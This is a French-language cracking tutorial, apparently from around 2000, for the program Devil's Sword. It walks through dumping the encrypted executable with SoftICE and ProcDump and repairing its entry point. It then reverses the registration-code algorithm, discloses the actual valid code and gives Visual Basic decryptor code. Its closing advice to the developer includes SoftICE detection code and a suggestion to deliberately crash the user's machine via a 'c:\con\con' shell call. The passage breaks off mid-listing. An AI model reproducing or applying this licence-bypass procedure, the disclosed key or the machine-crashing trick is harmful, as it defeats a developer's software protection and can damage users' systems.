NOTE: Cette partie n'est *PAS* necessaire sur Devil's Sword car les 
caracteristiques de l'executable sont deja tres bien et le programme
s'arrete comme il faut!
Mais on est la pour apprendre donc voila...
Si vous ne voulez pas savoir , passez directement a la deuxieme partie ok ?!

##############################################################################

Ok, excutez-le fichier avec le loader mais le problme c'est que cette
application ne veut pas s'interrompre... :(
Hehe, no problem!, excutez ProcDump et utilisez un diteur PE!
Editez la section du Code de l'excutable.
(PE editor: choisissez le fichier, sections, CODE et bouton droit "EDIT SECTION")


Ok, vous voyez dans section caracteristic : C0000040 ( ou n'importe quoi d'autre)

Ok, changez-le en : E0000020

Pour des questions  propos de ce geste, lisez les infos plus haut sur les
caractristiques des sections !!

Maintenant, excutez le Loader de SI et a marche! :))
Super, a a march hehe


////////////////////////////////////////////////////////////////////////////
/Deuxime partie: Tracer et dumper le fichier de la mmoire vers le disque!/
////////////////////////////////////////////////////////////////////////////



Ok, donc vous avez tout juste arrt l'excution dans SI, vous voyez naturellement
les INVALID mais a ne pose pas de problme. Tracez avec F10 et vous
arrivez ici:


0177:00588005  6877A16100          PUSH      0061A177     
0177:0058800A  6800000000          PUSH      00000000
0177:0058800F  E863210900          CALL      0061A177
0177:00588014  E927ABF4FF          JMP       004D2B40
0177:00588019  40                  INC       EAX
0177:0058801A  2823                SUB       [EBX],AH
0177:0058801C  29504B              SUB       [EAX+4B],EDX
0177:0058801F  4C                  DEC       ESP
0177:00588020  49                  DEC       ECX
0177:00588021  54                  PUSH      ESP
0177:00588022  45                  INC       EBP
0177:00588023  3332                XOR       ESI,[EDX]
0177:00588025  20436F              AND       [EBX+6F],AL
0177:00588028  7079                JO        005880A3
0177:0058802A  7269                JB        00588095
0177:0058802C  676874203139        PUSH      39312074
0177:00588032  3938                CMP       [EAX],EDI
0177:00588034  20504B              AND       [EAX+4B],DL
0177:00588037  57                  PUSH      EDI
0177:00588038  41                  INC       ECX

........


Quelques Explications:

0177:00588005  6877A16100          PUSH      0061A177

Cette ligne pousse l'adresse 61a177 sur la pile..
Pour voir le contenu de cette adresse on tape: d 61A177
Si on regarde dans DATA , on voit que des "?????".
Ca veut dire que le programme n'a pas encore decrypter cette zone...

0177:0058800F  E863210900          CALL      0061A177

Cette ligne appelle la routine en 61a177.
Si on entre dans ce call, on voit tout la partie du decryptage de l'executable
mais en memoire seulement...


0177:00588014  E927ABF4FF          JMP       004D2B40

Alors la , c'est le plus important! c'est le saut vers le VRAI l'entry point!!
C'est quoi l'entry point ?! c'est la ou debute le programme decrypter en 
memoire! :)

####################################################################################

Note: si vous tapez: d 61A177 une fois que vous etes sur le JMP ( sans l'executer)
vous verrez que l'addresse ne contient plus les "????" mais bien des chiffres
ce qui prouve bien que le decryptage est termin !

####################################################################################

Recapitulons:

Le programme se decrypte en memoire et ensuite saute a l'entry point
pour s'executer comme si il n'etait pas crypter...
Nous , on veut decrypter le fichier executable alors ce qu'on va faire
c'est executer une boucle infinie en memoire juste avant le saut
vers l'entry point et dumper (faire une image de l'exe en memoire) sur
le disque dure...
Ensuite on aura plus qu'a changer l'entry point par l'addresse du jump
qu'il faut noter quelque part et ensuite c finis :)
Facile non ? :-
Ok , c'est plus simple a dire qu'a faire vous allez penser ! Meuh non!

Voila comment faire:

Relancer le loader sur le fichier de devil et il va s'arreter ..
On se retrouve donc sous soft ice et on voit "INVALIDE" partout...
Bon, alors on appuie une fois sur F10 et on voit le code 
assembleur que j'ai mis plus haut:


0177:00588005  6877A16100          PUSH      0061A177     
0177:0058800A  6800000000          PUSH      00000000
0177:0058800F  E863210900          CALL      0061A177
0177:00588014  E927ABF4FF          JMP       004D2B40
0177:00588019  40                  INC       EAX

.....


On trace avec F10 jusqu'a que l'on soit sur la ligne du
JMP       004D2B40..
Si on appuie une fois de plus sur F10 , on saute sur le debut du
programme decrypter , et nous on veut pas ca , mais plutot
faire une boucle infinie en memoire afin de dumper l'executable!
Donc, vous tracez jusqu'au JMP.

Maintenant, tapez : 

A       {enter}  <== pour assembler le code

JMP EIP {enter}  <== c'est pour faire une boucle infinie sans avoir  dumper n'importe quoi

{escape}

F5


Maintenant le programme est en train de faire une boucle infinie en mmoire
et on peut le dumper!!!
Ok, excutez ProcDump et vous voyez dans la liste les tches en cours.
Clickez sur celle contenant DevilSword.exe. Maintenant bouton droit et choisissez
FULL DUMP. Savez le nouveau EXE avec le nom que vous voulez.
ex: DevilDumped.exe .


Maintenant, cliquez avec le bouton droit comme tout  l'heure mais
choisissez KILL TASK au lieu de FULL DUMP sinon le programme
continuerait sa boucle infinie!

/////////////////////////////////////////////////////////
/Troisime partie: Fixer le point d'entre du programme!/
/////////////////////////////////////////////////////////


Ok, regardez le nouvel EXE que l'on vient de dumper et vous voyez
que sa taille est plus grande que celle du fichier crypt... bien! :)
Mais attendez! Si vous l'excutez le prog va crasher comme un salop! :(
l'executable faisait 600 ko, il fait actuellement 2 Mega et quelques!
WOW , la difference de taille hehe ;)


Ok... vous vous souvenez, vous avez not le OEP (Original Entry Point) sur
un papier, l'addresse ou sautait le JMP :


0177:00588005  6877A16100          PUSH      0061A177     
0177:0058800A  6800000000          PUSH      00000000
0177:0058800F  E863210900          CALL      0061A177
0177:00588014  E927ABF4FF          JMP       004D2B40   <-- lui :)

la valeur est donc 4D2B40.



Dans ce cas, c'tait 4D2B40. Ok, excutez ProcDump PE Editor et changez
le point d'entre en 0x000D2B40. (OEP - the image base : 4D2B40-400000=D2B40)
Avant le point d'entree etait : 0x00188000...
(n'oubliez pas que ces valeurs sont en Hexadecimal, alors avec la calculette de
windows , mettre vous en mode Scientifique et Base 16 Hexa decimal)


Maintenant, fermez ProcDump, et le programme compact/crypt
Lancez le fichier decrypt que vous venez de "reparer" et CA MARCHE!!
Heuresement d'ailleurs et c'est normal :)
Dsassemblez-le !! Et oui on voit les String Data References !!! Cool
on peut donc patcher et tout et tout :)

Voila comment faire qd on tombe sur un executable crypt , mais ce n'est pas toujours aussi
simple , c'est pourquoi , je vous invite a lire mes autres cours sur les fichiers
Packs , qui se trouvent sur mon site , dans la partie Unpacking du Millenium Tutorial...
C'est en francais alors n'hesitez pas ;)

Voila , maintenant , vous pouvez patcher des choses dans Devil, et meme cracker
l'enregistrement...Mais vous ne trouvez pas la reference au message d'erreur car le 
programmeur l'a surement crypt...
Ca suffit a decourager les petits crackers en herbe que l'on trouve sur caramail..
Tout comme le cryptage des executables...


Mouarf, moi je m'en tape, je me sert de Soft ice !
Donc si vous voulez etudiez la partie Serial d'enregistrement lisez la suite :)
C'est du cryptage , mais pas la meme chose ! 
Mais l'algo est trop faible pour nous donner du fil a retordre quand on connait l'assembleur...



## II)Reverse Engineer l'algo de cryptage du CODE d'enregistrement ##



Pour cette tache , il faut tracer l'algo et le renverser ;)
Vous allez comprendre ehehe...

Donc lancez le programme Devil et tappez un numero de serie a la con 
style: 12345
Pressez CTRL+D pour allez dans soft ice et mettez les breakpoints
sur les API windows utiliss dans le cracking de serial:

BPX GetWindowTextA
BPX GetDlgItemTexta

Mais ici , un BPX me semble plus utile: BPX Hmemcpy
donc mettez juste un break point sur Hmemcpy...
Pressez OK et la vous atterissez sous soft ice a nouveau et vous n'etes
pas dans l'executable mais dans les DLL..
Regardez en bas de la fenetre de Soft ice , vous verrez Kernel ou USER...
Pressez F12 jusqu'a que DEVILSWORD apparaisse ;)
Vous etes desormais dans l'exe alors commencez a tracer avec F10 et vous verrez ceci:



0177:004CFC85  E86AFFF4FF          CALL      0041FBF4
0177:004CFC8A  8B9528FEFFFF        MOV       EDX,[EBP-01D8]   <-- on arrive ici et EDX =
										     location du pass qu'on a entr
0177:004CFC90  8D8D2CFEFFFF        LEA       ECX,[EBP-01D4]
0177:004CFC96  8BC3                MOV       EAX,EBX
0177:004CFC98  E85F040000          CALL      004D00FC
0177:004CFC9D  8B852CFEFFFF        MOV       EAX,[EBP-01D4]
0177:004CFCA3  BA04004D00          MOV       EDX,004D0004
0177:004CFCA8  E80342F3FF          CALL      00403EB0
0177:004CFCAD  0F8505030000        JNZ       004CFFB8         <-- si le code est incorrect
										     jump to mechant cracker
0177:004CFCB3  8D45FC              LEA       EAX,[EBP-04]
0177:004CFCB6  BA50004D00          MOV       EDX,004D0050
0177:004CFCBB  E8FC3EF3FF          CALL      00403BBC
0177:004CFCC0  8D45FC              LEA       EAX,[EBP-04]
0177:004CFCC3  BA8C004D00          MOV       EDX,004D008C
0177:004CFCC8  E8DB40F3FF          CALL      00403DA8
0177:004CFCCD  8B45FC              MOV       EAX,[EBP-04]
0177:004CFCD0  E807DDF6FF          CALL      0043D9DC
0177:004CFCD5  8D9528FEFFFF        LEA       EDX,[EBP-01D8]
0177:004CFCDB  A1FC504D00          MOV       EAX,[004D50FC]
0177:004CFCE0  8B00                MOV       EAX,[EAX]
0177:004CFCE2  8B80DC010000        MOV       EAX,[EAX+000001DC]
0177:004CFCE8  E807FFF4FF          CALL      0041FBF4

.............

Note:

0177:004CFC8A  8B9528FEFFFF        MOV       EDX,[EBP-01D8]

Si on passe cette ligne et que l'on tape: D edx on voit dans DATA le code "12345".


Donc voila ce que l'on voit...
J'espere que vous comprenez l'assembleur ;)
Mais bon ce code est clair comme de l'eau de roche et ressemble beaucoup a du code
compil en Delphi... Borland aussi..
Sur ce , si on trace un petit peu on tombe sur la partie de cryptage:


0177:004D0118  688B014D00          PUSH      004D018B
0177:004D011D  64FF30              PUSH      DWORD PTR FS:[EAX]
0177:004D0120  648920              MOV       FS:[EAX],ESP
0177:004D0123  8D45F8              LEA       EAX,[EBP-08]
0177:004D0126  E8F939F3FF          CALL      00403B24
0177:004D012B  8B45FC              MOV       EAX,[EBP-04]		
0177:004D012E  E86D3CF3FF          CALL      00403DA0
0177:004D0133  8BF0                MOV       ESI,EAX			; ESI = EAX = longeur du
											 ; code que l'on a entr
0177:004D0135  85F6                TEST      ESI,ESI
0177:004D0137  7E2D                JLE       004D0166
0177:004D0139  BB01000000          MOV       EBX,00000001		; Initialise EBX a 1
											 ; (index de boucle)
0177:004D013E  8D45F4              LEA       EAX,[EBP-0C]
0177:004D0141  8B55FC              MOV       EDX,[EBP-04]               ; EDX = mot de passe
												  entr
0177:004D0144  0FB6541AFF          MOVZX     EDX,BYTE PTR [EBX+EDX-01]  ; il prends la valeur
												; ascii du caractere
										     ; en position EBX (1 au debut)

0177:004D0149  03D3                ADD       EDX,EBX			; Additionne la valeur ascii
										    ; avec la position du caractere
		
0177:004D014B  7105                JNO       004D0152			; si pas d'overflow saute a
											; 4D0152
0177:004D014D  E8C22DF3FF          CALL      00402F14			; sinon appelle de 402F14
0177:004D0152  E8713BF3FF          CALL      00403CC8
0177:004D0157  8B55F4              MOV       EDX,[EBP-0C]
0177:004D015A  8D45F8              LEA       EAX,[EBP-08]
0177:004D015D  E8463CF3FF          CALL      00403DA8
0177:004D0162  43                  INC       EBX			; Incremente EBX (index de
											; boucle)
0177:004D0163  4E                  DEC       ESI			; decremente ESI (longeur du
											; code Tap)
0177:004D0164  75D8                JNZ       004D013E			; si c'est pas egale  0 on
											; continue la boucle
0177:004D0166  8BC7                MOV       EAX,EDI
0177:004D0168  8B55F8              MOV       EDX,[EBP-08]
0177:004D016B  E84C3AF3FF          CALL      00403BBC
0177:004D0170  33C0                XOR       EAX,EAX
0177:004D0172  5A                  POP       EDX
0177:004D0173  59                  POP       ECX
0177:004D0174  59                  POP       ECX
0177:004D0175  648910              MOV       FS:[EAX],EDX
0177:004D0178  6892014D00          PUSH      004D0192
0177:004D017D  8D45F4              LEA       EAX,[EBP-0C]
0177:004D0180  BA03000000          MOV       EDX,00000003
0177:004D0185  E8BE39F3FF          CALL      00403B48
0177:004D018A  C3                  RET



Pour ce qui ne comprene pas bien l'assembleur, cette boucle prends la valeur ascii du caractere
a la position de la boucle et l'additione avec cette position.
Cela donne cela pour "12345" :

longeur du code tap : 5   (12345 fait 5 chiffres)

postion du caractere: 1
valeur ascii = 31h
addition de cette valeur avec la position = 31h + 1h = 32h
32h est la valeur ascii en hexadecimal de "2"...
Le code devient "22345"

On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 2
valeur ascii = 32h
addition de cette valeur avec la position = 32h + 2h = 34h
34h est la valeur ascii en hexadecimal de "4"...
Le code devient "24345"



On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 3
valeur ascii = 33h
addition de cette valeur avec la position = 33h + 3h = 36h
36h est la valeur ascii en hexadecimal de "6"...
Le code devient "24645"



On a pas encore fait tout les caracteres , alors on continue:


postion du caractere: 4
valeur ascii = 34h
addition de cette valeur avec la position = 34h + 4h = 38h
38h est la valeur ascii en hexadecimal de "8"...
Le code devient "24685"




Dernier caractere:


postion du caractere: 5
valeur ascii = 35h
addition de cette valeur avec la position = 35h + 5h = 3Ah
3Ah est la valeur ascii en hexadecimal de ":"...
Le code devient "2468:"


notre code entr "12345" devient donc "2468:"


Pour vous aidez a comprendre encore plus, voici un programme qui execute la meme chose
mais ecris en Visual Basic , car c'est un langage simple et connu !  :


////////////////////////////////////////////////

On Error Resume Next
code = Text1.Text
For i = 1 To Len(code)

temp = Asc(Mid(code, i, 1))
temp = temp + i
temp2 = temp2 & Chr(temp)
Next i


Text2.Text = temp2
'// text2.text = Code crypt

////////////////////////////////////////////////


Code = le code entr dans text1.text
et text2.text = le resultat du cryptage...
Ce programme execute exactement la meme chose que Devil sword pour crypter sauf que Devil gere
l'overflow alors que mon prog non , c pour ca que j'ai mis "On error resume next" qui veut dire
que si il y a une erreur , il continue le programme , sans afficher de message d'erreur et
terminer l'application.


Revenons a la protection elle meme :)


0177:004CFCA8  E80342F3FF          CALL      00403EB0
0177:004CFCAD  0F8505030000        JNZ       004CFFB8         <-- si le code est incorrect jump
										            to mechant cracker
0177:004CFCB3  8D45FC              LEA       EAX,[EBP-04]
0177:004CFCB6  BA50004D00          MOV       EDX,004D0050
0177:004CFCBB  E8FC3EF3FF          CALL      00403BBC


Apres le cryptage, le code compare notre Code Crypt avec une constante ( crypte elle aussi).
Si les deux chaines sont identiques , alors on a entr le BON Code et le programme est
enregistr sinon on a le message d'erreur..

Bon la , on a 4 solutions :


- solution de lamer: on patch le saut conditionel et le test au demarage.


- solution BruteForce: On modifie le programme en son propre brute Forcer pour qu'il essai tout
			les CODES possibles.Efficaces , mais trop trop long et pas intelligent vu la
			pauvret de l'algo..

- Solution decrypage1 : On modifie le programme pour qu'il decrypte la constante crypt en
				inversant l'algo en memoire directement...


- solution decryptage2: On programme un decrypteur qui fait tout le boulot :-)



On va s'occuper que des deux dernieres solutions car elles sont plus reflechis et ce sont les
plus rapides ( et aussi les moins lames...)


###########################################################################

			   Solution Decryptage 1:

###########################################################################

On prend le code assembleur et on le modifie. C'est a dire que l'on va reprogrammez l'algo. 
Mais tout d'abord , comment renverser l'algo ? simple....

On entre le code "12345" et on obtient "2468:"
pour cela il additionne la valeur ascii du caractere a sa position!
Donc pour decrypter on a juste a prendre la valeur ascii du caractere crypte et soustraire sa
position pour retrouver le CODE decrypter ;)
Comme tout a l'heure voila l'exemple complet du decryptage cette fois ci:



longeur du code tap : 5   (2468: fait 5 caracteres)

postion du caractere: 1
valeur ascii = 32h
soustraction de la position a la valeur ascii = 32h - 1h = 31h
31h est la valeur ascii en hexadecimal de "1"...
Le code devient "1468:"

On a pas encore fait tout les caracteres , alors on continue:




postion du caractere: 2
valeur ascii = 34h
soustraction de la position a la valeur ascii = 34h - 2h = 32h
32h est la valeur ascii en hexadecimal de "2"...
Le code devient "1268:"

On a pas encore fait tout les caracteres , alors on continue:



postion du caractere: 3
valeur ascii = 36h
soustraction de la position a la valeur ascii = 36h - 3h = 33h
33h est la valeur ascii en hexadecimal de "3"...
Le code devient "1238:"

On a pas encore fait tout les caracteres , alors on continue:




postion du caractere: 4
valeur ascii = 38h
soustraction de la position a la valeur ascii = 38h - 4h = 34h
34h est la valeur ascii en hexadecimal de "4"...
Le code devient "1234:"


Dernier caractere:


postion du caractere: 5
valeur ascii = 3Ah
addition de cette valeur avec la position = 3Ah - 5h = 35h
35h est la valeur ascii en hexadecimal de "5"...
Le code devient "12345"


notre code crypt "2468:" devient donc notre code entr non crypt "12345"


Voila un exemple qui montre comment marche l'algo.
Pour savoir a quoi ressemble la chaine crypt , il faut entrer dans le call juste apres
qui est precede par un jnz:



0177:004CFCA3  BA04004D00          MOV       EDX,004D0004
0177:004CFCA8  E80342F3FF          CALL      00403EB0         <-- On entre dans ce call la pour
											la comparaison
0177:004CFCAD  0F8505030000        JNZ       004CFFB8         <-- si le code est incorrect jump
											to mechant cracker
0177:004CFCB3  8D45FC              LEA       EAX,[EBP-04]


dans le call on voit ceci:


0177:00403EB0  53                  PUSH      EBX
0177:00403EB1  56                  PUSH      ESI
0177:00403EB2  57                  PUSH      EDI
0177:00403EB3  89C6                MOV       ESI,EAX
0177:00403EB5  89D7                MOV       EDI,EDX
0177:00403EB7  39D0                CMP       EAX,EDX     <-- EAX = code entr crypt et EDX =
										chaine crypt constante
0177:00403EB9  0F848F000000        JZ        00403F4E	 <-- Si c'est egale alors le CODE est
										valide sinon CODE erron!
0177:00403EBF  85F6                TEST      ESI,ESI
0177:00403EC1  7468                JZ        00403F2B
0177:00403EC3  85FF                TEST      EDI,EDI


EAX contient notre code tap mais crypt

EDX contient: 4D0004

si on fait: d 4D0004 pour afficher le contenu de l'addresse et donc voir la chaine crypte
constante, on voit ceci:

Mc#fzp{n*oq-Qts|6?z@BEK\

Voila la constante Crypte !
Elle est donc a l'addresse 4D0004... et elle fait 65 caracteres

J'avais donn le source code en assembleur du cryptage, voila ce qu'il devient
pour faire son role de decrypteur:


0177:004D0133  MOV       ESI,41h			; ESI = longeur du code a decrypt = 65 en
								; decimal
0177:004D0135  TEST      ESI,ESI			; et 41 en hexa decimal (longeur de la
								; constante)
0177:004D0137  JLE       004D0166
0177:004D0139  MOV       EBX,00000001			; Initialise EBX a 1 (index de boucle)
0177:004D013E  LEA       EAX,[EBP-0C]
0177:004D0141  MOV       EDX, 4D0004                	; EDX = adresse de la constante
0177:004D0144  MOVZX     EDX,BYTE PTR [EBX+EDX-01] 	; il prends la valeur ascii du 
									; caractere en position EBX (1 au debut)

0177:004D0149  SUB       EDX,EBX			; soustrait la position du caractere a la 
									; valeur ascii
		
0177:004D014B  JNO       004D0152			; si pas d'overflow saute a 4D0152
0177:004D014D  CALL      00402F14			; sinon appelle de 402F14
0177:004D0152  CALL      00403CC8
0177:004D0157  MOV       EDX,[EBP-0C]
0177:004D015A  LEA       EAX,[EBP-08]
0177:004D015D  CALL      00403DA8
0177:004D0162  INC       EBX				; Incremente EBX (index de boucle)
0177:004D0163  DEC       ESI				; decremente ESI (longeur du code Tap)
0177:004D0164  JNZ       004D013E			; si c'est pas egale  0 on continue la boucle


Pour modifier les instuctions en assembleur sous soft ice , il faut taper A et "enter".


Voila ce que devient le code en assembleur pour decrypter ;)
On a modifi :

- l'addresse de la chaine a s'occuper en l'addresse de la constante
- le nombre de caractere de la constante a la place de la longeur du code entr
- on soustrait a la place d'additioner
- voila ca suffit non ? :-)


Ensuite on trace jusqu'au call de comparaison et a la ligne de CMP EAX, EDX
EAX contient le CODE valide a entrer pour Enregistrer Devil sword.
EDX contient toujours la chaine crypt constante...

Vous notez le Code qui est une phrase et vous fermez Devil pour le relancer!
On veut une version non patch! en memoire on touvait le code suivant:

La btise de Certains m'affuble  un point inimaginablement GrAvE

C'est donc le code a entrer ! :-)
Facile non ? :^)



###########################################################################

			   Solution Decryptage 2:

###########################################################################



La il s'agit de programmer son propre decrypteur ;)
C'est simple il suffit de programmer ce que fait l'algo de cryptage mais a l'envers
comme expliquer un peu plus haut!
On a juste besoin de la chaine Crypte qui est constante!
Mais comme vous avez surement remarque la chaine est constitu de carectere non tapable au
clavier.
Comment la recuperer alors ?
2 solutions!

- on dumpe la location memoire de la chaine (le plus rapide)
- on recupere les valeurs ascii en hexa decimal et on les reecris avec un editeur hexadecimal
dans  un fichier texte pour faire du copier coller ensuite :)


je vais juste parler de la premiere solution, c'est a dire dumper la location memoire.

On va se servir de Qdump pour cette tache !
Voila comment il marche:

QDump.exe <Name of window> <address> <length> <filename>


Name of window c'est ce qu'il y a ecris dans le caption de la fenetre.
Address c'est l'addresse ou va commencer le dumpe.
Length c'est la longeur en hexadecimal de byte a dumper.
Filename c'est le fichier qui contiendra le resultat


Donc ici sa donnera:

QDump.exe "Devil's Sword" 4D0004 200 c:\code1.txt


cela donne ca comme resultat:

Mc#fzp{n*oq-Qts|6?z@BEK\   1 
Redmarrer Devil's Sword pour que les nouvelles      fonctionnalits soit actives !
   DevilSword.ini  /   Fates un peu attention  ce que vous entrez... 


on a pas besoin de tout ca , mais en decryptant on se rend compte que la veritable constante
crypte est:
Mc#fzp{n*oq-Qts|6?z@BEK\


Voila , on a plus qu'a programmer le decrypteur!
Encore une fois ,voici le source code en Visual basic car c'est un langage simple est
facilement portable..




//////////////////////////////////////////////////////////////////////////////////////////

codecrypted = "Mc#fzp{n*oq-Qts|6?z@BEK\"

For i = 1 To Len(codecrypted)
temp = Asc(Mid(codecrypted, i, 1))
temp = temp - i
If temp < 0 Then temp = 224   ' pour ne pas planter du a l'overflow.

temp2 = temp2 & Chr(temp)
Next i

Text4.Text = temp2   ' affiche le Code decrypter dans text4.text

///////////////////////////////////////////////////////////////////////////////////////////


ici on voit que j'ai mis une condition pour eviter que le programme ne crash...
En fait, si la position du caractere est plus grande que la valeur ascii alors le
programme ne poura pas afficher la valeur ascii resultant de la soustraction.
Les valeurs ascii sont toujours postives.
Pour eviter le probleme , j'ai mis que si la valeur est inferieur  0 alors
il affiche le caractere ascii "".
j'aurais tres bien pu coder ce qu'il faut pour eviter ce probleme, mais ce n'est
pas vraiment necessaire...


Qd on lance ce programme apres avoir coll le code si dessus dans une application VB
contenant un text4.text et un bouton sous lequel on met ce code, on obtient le resultat
suivant:


La btise de Certains m'affuble  un point inimaginablement GrAvE


Wow ;) c'est notre code hehe..
bon voila , comment il fallait faire pour cracker ce code.
TRES TRES simple en fait, c'est plus long a ecrire qu'a faire.

Remarque:

Il est tres facile de changer le code par son propre code ;)
En effet, si vous avez une phrase de meme longeur (pour simplifier la chose)
vous la crypter grace a mon programme en VB et vous prenez les valeurs ascii en hexadecimal
et les rentrez a la place des ancienes valeur ascii de la constante crypte avec un editeur
hexadecimal et vous sauvegardez le fichier...
Ensuite si vous le lancez et que vous entrez le code non crypt il vous dira que c'est le
bon code :-)
Vous pouvez donc modifier ce programme comme bon vous semble et ensuite le recrypter avec
un packer de meilleur qualit que celui utilis par l'auteur pour recuperer la taille
de 600 ko du depart !
Car 2 mega ca fait lourd non ? :)
Bon maintenant , je vais donner quelques conseils aux programmer de ce super client
qui me plait beaucoup...


#######################################################################
#######################################################################
##								     ##
## III)Comment mieux securiser se programme et source code a l'appui ##
##								     ##
#######################################################################
#######################################################################


Bon voila la partie qui interressera surement le plus le programmeur de super client...
Comment securiser efficacement son programme pour eviter que les crackers un peu plus
experimente que ceux de caramail le crack...

(note: aucune protection n'est infaible, ca depends souvent du temps que l'on passe
dessus sois pour la programmer , sois pour la deplomber...)

Elle sera surement inneficace contre des crackers qui ont des heures de vol dans le cracking ;)
Mais calmera surement des tonnes de ptit crackers...
Je l'essairais juste pour le fun mais etant donn mon experience dans la matiere ya de grande
chance pour que je parvienne a cracker la nouvelle protection sans trop de problemes (c'est pas
de la vantardise mais juste pour ne pas donner de fausse iddes aux programmeurs...)

C'est partie :




######################################################

1 - Il faut choisir un meilleur Crypteur d'executable.

######################################################





En effet , comme vous avez surement pu le constater le decryptage de l'executable
est un jeu d'enfant...
Il faut utiliser un packer qui donne du fil a retordre au cracker , qui ne soit
pas decryptable par procdump et qui donne quelques taches a faire sur le PE.
c'est a dire realigner les sections , ajuster l'import table...
Je conseil meme de crypter plusieurs fois l'executable et meme d'utiliser 2 packers 
differents...
De renommer le nom des sections en autre choses pour ne pas donner d'indices sur le packer.
ET de virer la signature du packer.
Quand on edite en hexa decimal on voit souvent:

UPX X.XX ou ASPACK....

C'est la signature du packer , ici on voit bien que les packers utilises sont UPX ou bien
ASPACK...
Une ide serait de changer la signateur en un autre packer connu pour embrouiller...

UPX et ASPACK 2000 sont trop simples a unpacker..
Quoi que ascpack2000 posent pas mal de problemes aux newbies cracker, il peut etre util car il
compresse beaucoup..
L'utilisation d'une des dernieres versions d'armadillo peut etre utiles aussi...
J'ai pas regarder les dernieres versions , mais les premieres etaient tres interressantes 
decrypter..
Et largement suffisent pour casser les petits reversers...

PEshield, PEcrypt sont pas trop mal aussi.. PElocknt est un des packers que je n'ai jamais
reussi a unpacker..
Le code est completement chelou ;-)
voila l'auteur n'a plus qu'a s'amuser :)
un petit coup de Pelocknt peut s'averer tres efficace :)




####################################################

2 - Il faut utiliser des protections anti Soft ice..

####################################################




Comment ?!
Il faut programmer une ou plusieurs detections de soft ice afin d'empecher l'utilisation du
programme en presence du debuggeur...
Il faut saovoir qu'il existe des programmes qui permettent de rendre soft ice indetectable mais
il y a toujours moyen de le detecter ;-)

Tout d'abord voici 2 methodes tres rpendus qui seront efficace contre les crackers wannabes ;)


*************
*************
* Melt ice: *
*************
*************



La mthode utilise pour dtecter Soft-ice est la suivante:
il utilise l'API createfilea "afin de dtecter le VXD" !
Dsol, je ne sais pas trop comment expliquer:
il peut dtecter Soft-ice avec: SICE, SIWVID pour win9x et NTICE pour winNT


BOOL IsSoftIce95Loaded()
{
   HANDLE hFile;  
   hFile = CreateFile( "\\\\.\\SICE", GENERIC_READ | GENERIC_WRITE,
                      FILE_SHARE_READ | FILE_SHARE_WRITE,
                      NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   if( hFile != INVALID_HANDLE_VALUE )
   {
      CloseHandle(hFile);
      return TRUE;
   }
   return FALSE;
}



Sachant que borland c++ ressemble a delphi voici 1 exemple en Delphi de comment programmer ca:


*********************************************************************************
procedure DetectICE;
var ACiD:Thandle;
    s,s2:string;

begin

     s:='\' + '\' + '.' + '\' + 'S' + 'I' + 'C' + 'E';
     s2:='\\.\SICE';
     if s <> s2 then begin ShowMessage('il est interdit de patcher'); ExitProcess(0); end ;
     ACiD:=CreateFileA(PChar(s2),GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ
         or FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
     if ACiD <> INVALID_HANDLE_VALUE then begin ShowMessage('Veuillez dechargez le
							debuggeur svp!'); ExitProcess(0); end ;

     s:='\' + '\' + '.' + '\' + 'N' + 'T' + 'I' + 'C' + 'E';
     s2:='\\.\NTICE';
     if s <> s2 then begin ShowMessage('il est interdit de patcher'); ExitProcess(0); end ;
     ACiD:=CreateFileA(PChar(s2),GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ
         or FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
     if( ACiD <> INVALID_HANDLE_VALUE ) then begin ShowMessage('Veuillez dechargez le debuggeur
											svp!'); ExitProcess(0); end;

end;

******************************************************************************


Donc , ici j'ai rajout un control sur le string '\\.SICE' qui permet de controler si un petit
malin n'a pas modifier avec un editeur hexa decimal cette partie et donc ca annulerais la
detection...
Si quelqu'un patch, le programme envoi un message et se ferme automatiquement...

On peut aussi bien planter la machine apres un certain nombre d'essai en ecrivant une valeur
dans la base de registre...
A chaque fois que le debuggeur est charg, il controle le nombre, et si il est deja a son
maximum, on appel une sous routine qui plante le PC , sinon on incremente la valeur et on
quite..
Pour planter le PC on peut utiliser le bug : "C:\con\con" c'est a dire que l'on execute ce
fichier la...

En visual basic:   shell "c:\con\con\",vbHide

Sinon quelques ligne en ASM permettent un BSOD (blue screen of death) ou meme le freeze complet
de la machine.


**************************
**************************
* dtection par INT 68h: *
**************************
**************************


    mov     ah,43h
    int     68h
    cmp     ax,0F386h
    jz      Soft_ice_est_la_:P


Voil  quoi ressemble le monstre ;P


Un petit exemple de programmation en Delphi :

*****************************************************************************************

procedure INT68;
label Ure_Good_Guy;
label I_Got_You;

Begin

asm
mov  ah,43h
int  68h
cmp  ax,0f386h
jz   I_Got_You
jmp  Ure_Good_Guy

end;

I_Got_You:
showmessage('Soft-ice est charg!!');

Ure_Good_Guy:
// Gentil lol pas de Soft-ice (ou je me suis fait cracker *g*)

end;

end.

******************************************************************************************


Biensur dans ces deux exemples , j'ai mis un texte comme quoi soft ice est charg, mais c'est
pour montr  l'auteur ou se pass le code qui suit la detection de soft ice...
Il est plus que recommand de ne rien mettre comme message car le message facilite le travail
du cracker.
A la rigeur un message mais Crypt, mais qui n'appel pas les API MessageBoxa car sinon le
cryptage n'est d'aucune utilit lol :)


Maintenant voici une ide de detection de soft ice:

Tout le monde (enfin presque .....) connait la commande MsDos "MEM".
elle permet d'afficher des informations sur la memoire.
on met /C pour voir toute les infos donc si je tape "MEM /C" a l'heure actuelle on voit:

------------------------------------------------------------------------------

Modules utilisant la mmoire sous 1 Mo:

  Nom            Total           Conventionnel      Mmoire haute
  --------  ----------------   ----------------   ----------------
  MSDOS       20 320   (20K)     20 320   (20K)          0    (0K)
  GSCDROM     26 016   (25K)     26 016   (25K)          0    (0K)
  CDROM       21 648   (21K)     21 648   (21K)          0    (0K)
  DISPLAY     18 064   (18K)     18 064   (18K)          0    (0K)
  HIMEM        1 120    (1K)      1 120    (1K)          0    (0K)
  DBLBUFF      2 976    (3K)      2 976    (3K)          0    (0K)
  IFSHLP       2 864    (3K)      2 864    (3K)          0    (0K)
  win          3 936    (4K)      3 936    (4K)          0    (0K)
  KEYB         6 944    (7K)      6 944    (7K)          0    (0K)
  WINICE      13 520   (13K)     13 520   (13K)          0    (0K)
  vmm32        5 504    (5K)      5 504    (5K)          0    (0K)
